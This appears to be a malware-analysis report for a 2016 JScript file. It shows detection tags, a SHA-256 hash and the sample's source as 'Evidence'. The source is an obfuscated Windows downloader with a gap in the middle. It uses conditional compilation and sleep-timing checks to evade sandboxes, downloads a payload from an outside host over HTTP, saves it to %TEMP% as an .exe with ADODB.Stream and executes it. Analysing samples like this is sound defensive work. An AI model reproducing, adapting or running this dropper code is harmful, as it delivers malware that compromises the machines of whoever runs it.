20160328_e63495a0e344451d3749464dc6465458.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2568f92a94b1178e90600c5338e0b4cbb38942b0f9492621afbe9a14da70f342aba
Evidence
1var Wrfrgn = false;
2var Yvbtsxi = "CreateObject";
3var Iwhubf = function Kkdfip() {return WScript[Yvbtsxi]("WScript.Shell");}();
4var Ejydtz = 123213;
5var Eiqho = "MSXML2.XMLHTTP";
6var Fwjnhzg = 2123213;
7var Xffledrdsk = 0;
8function Cssrciepne(Oqtwlknwl){Iwhubf["Run"](Oqtwlknwl, Xffledrdsk, Xffledrdsk);};
9function Zyqsowv(){return Eiqho;};
10function Xabmkct(Xatgk, Xcunusb){return Xatgk - Xcunusb;};
11function Ewdpihmw(){return Yvbtsxi;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Wrfrgn = true;
15 @end
16@*/
17var Bmvspmisv = "";
18if (Wrfrgn)
19{
20function Tjtyrpupgy(){return 22;};
21var Roauwbfk = 0; var Dgtfsohqdq = 0;
22function Vfuedyvn()
23{
24var Cnqnydcy = new this["Date"]();
25var Vfurmdmhfd = Cnqnydcy["getUTCMilliseconds"]();
26WScript["Sleep"](Tjtyrpupgy());
27var Cnqnydcy = new this["Date"]();
28var Sycymizi = Cnqnydcy["getUTCMilliseconds"]();
29WScript["Sleep"](Tjtyrpupgy());
30var Cnqnydcy = new this["Date"]();
31var Fyrvmeeqhs = Cnqnydcy["getUTCMilliseconds"]();
32var Roauwbfk = "Izxpqayl";
33Roauwbfk = Xabmkct(Sycymizi, Vfurmdmhfd);
34var Dgtfsohqdq = "Ukrcqttuis";
35Dgtfsohqdq = Xabmkct(Fyrvmeeqhs, Sycymizi);
36Bmvspmisv = "open";
37return Xabmkct(Roauwbfk, Dgtfsohqdq);
38}
39var Crekmla = false;
40var Wmasc = false;
41for (var Pfdmxvhhl = Xffledrdsk; Pfdmxvhhl < Tjtyrpupgy() * 1; Pfdmxvhhl++){if (Vfuedyvn() != Xffledr …
49:6… rekmla && Hgkgqvbqb() && Wmasc){
50function Tivkgzzweg() {return Iwhubf["ExpandEnvironmentStrings"]("%TEMP%/") + "iu8kBkIKjOUi.exe";};
51 Lofic = Zyqsowv();
52 Haigblz = WScript[Yvbtsxi](Lofic);
53 var Cjazednio = 1;
54 while (Cjazednio){
55try {
56Haigblz[Bmvspmisv]("GET", "http://zapableapp.com/l1sape", false);
57Haigblz["send"]();
58Bptohz = "Sleep";
59do {WScript[Bptohz](Tjtyrpupgy() * 11)} while (Haigblz["readystate"] < 4 );
60Cjazednio = Xffledrdsk;
61} catch(Okmrztn){Cjazednio = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Kcniihdqsn(Aqxnv) {var Hjjqbwyb = (1, 2, 3, 4, 5, Aqxnv); return Hjjqbwyb;};
64Sobgq = WScript[Ewdpihmw()]("ADODB.Stream");
65Lofic = Sobgq;
66Lofic[Bmvspmisv]();
67Lofic["type"] = Kcniihdqsn(1);
68Lofic["write"](Haigblz["ResponseBody"]);
69Sobgq["position"] = Kcniihdqsn(Xffledrdsk);
70Lofic["SaveToFile"](Tivkgzzweg(), Kcniihdqsn(2) );
71Sobgq["close"]();
72Cssrciepne(Tivkgzzweg());
73}
74}
75